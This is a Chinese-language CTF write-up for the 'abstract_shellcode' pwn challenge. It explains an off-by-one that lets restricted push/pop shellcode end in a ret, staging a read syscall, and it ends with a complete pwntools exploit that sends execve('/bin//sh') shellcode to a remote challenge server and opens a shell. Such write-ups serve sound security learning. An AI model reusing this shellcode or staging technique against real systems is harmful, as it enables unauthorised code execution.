abstract_shellcode
checksec一下
1 2 3 4 5 6 7 8
| Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments
|
IDA一下
main函数要求我们输入两个字符,如果是”ye”就退出
进func看看,大概分为两个部分
第一部分是一个循环,每次输入一字节,跳出条件为 (s-buf)>16,即输入17个字符(划重点)
第二部分,判断输入的字符是否在4E和5F之间,如果全部符合就call rax,也就是执行这段输入的shellcode
重点来了,前面发现可以输入17个字符,但检测只检测16个字符,这里就有一个小漏洞了
进gdb调试,断在call rax处
分析栈结构发现
rsp +8 刚好是第一次输入的字符的地址而前面输入则是不为”ye”的两个字符
分析下寄存器
找找用得上的东西
分析完后就是构造shellcode了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 0: 4e rex.WRX 1: 4f 50 rex.WRXB push r8 3: 50 push rax 4: 51 push rcx 5: 52 push rdx 6: 53 push rbx 7: 54 push rsp 8: 55 push rbp 9: 56 push rsi a: 57 push rdi b: 58 pop rax c: 59 pop rcx d: 5a pop rdx e: 5b pop rbx f: 5c pop rsp 10: 5d pop rbp 11: 5e pop rsi
|
通过机器码转汇编可以发现限制的shellcode都是push和pop
而第十七个字符刚好不受限制,诶,刚好构建一个ret
ret去哪呢
诶,第一次输入刚好是俩字符,诶
syscall也是俩俩字节
思路已经很明显了
1、通过shellcode操作寄存器和栈,以达到syscall->read
1 2 3 4
| rax = 0x0 rdi = 0x0 rsi = 某处地址(位于第一次输入之后,执行完后滑到这继续执行) rdx = 长度(我选的是r11中的0x246)
|
2、构造shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0: 58 pop rax 1: 58 pop rax 2: 5b pop rbx 3: 53 push rbx 4: 5e pop rsi 5: 4f 53 rex.WRXB push r11 7: 5a pop rdx 8: 50 push rax 9: 5f pop rdi a: 50 push rax b: 5f pop rdi c: 50 push rax d: 5f pop rdi e: 50 push rax f: 53 push rbx 10: c3 ret
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
k = 1 if k: p = remote('43.249.195.138','22251') else: p = process('./abstractshellcode') elf = ELF('./abstractshellcode') libc = ELF('./libc-2.31.so')
p.recvuntil(b'input:(ye / no)', b'\n') p.send(b'\x0f\x05') p.recvuntil(b'---input your pop code---', b'\n')
shellcode = b'\x90\x90\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.send(b'\x58\x58\x5b\x53\x5e\x4f\x53\x5a\x50\x5f\x50\x5f\x50\x5f\x50\x53\xc3')
p.send(shellcode)
p.interactive()
|
Over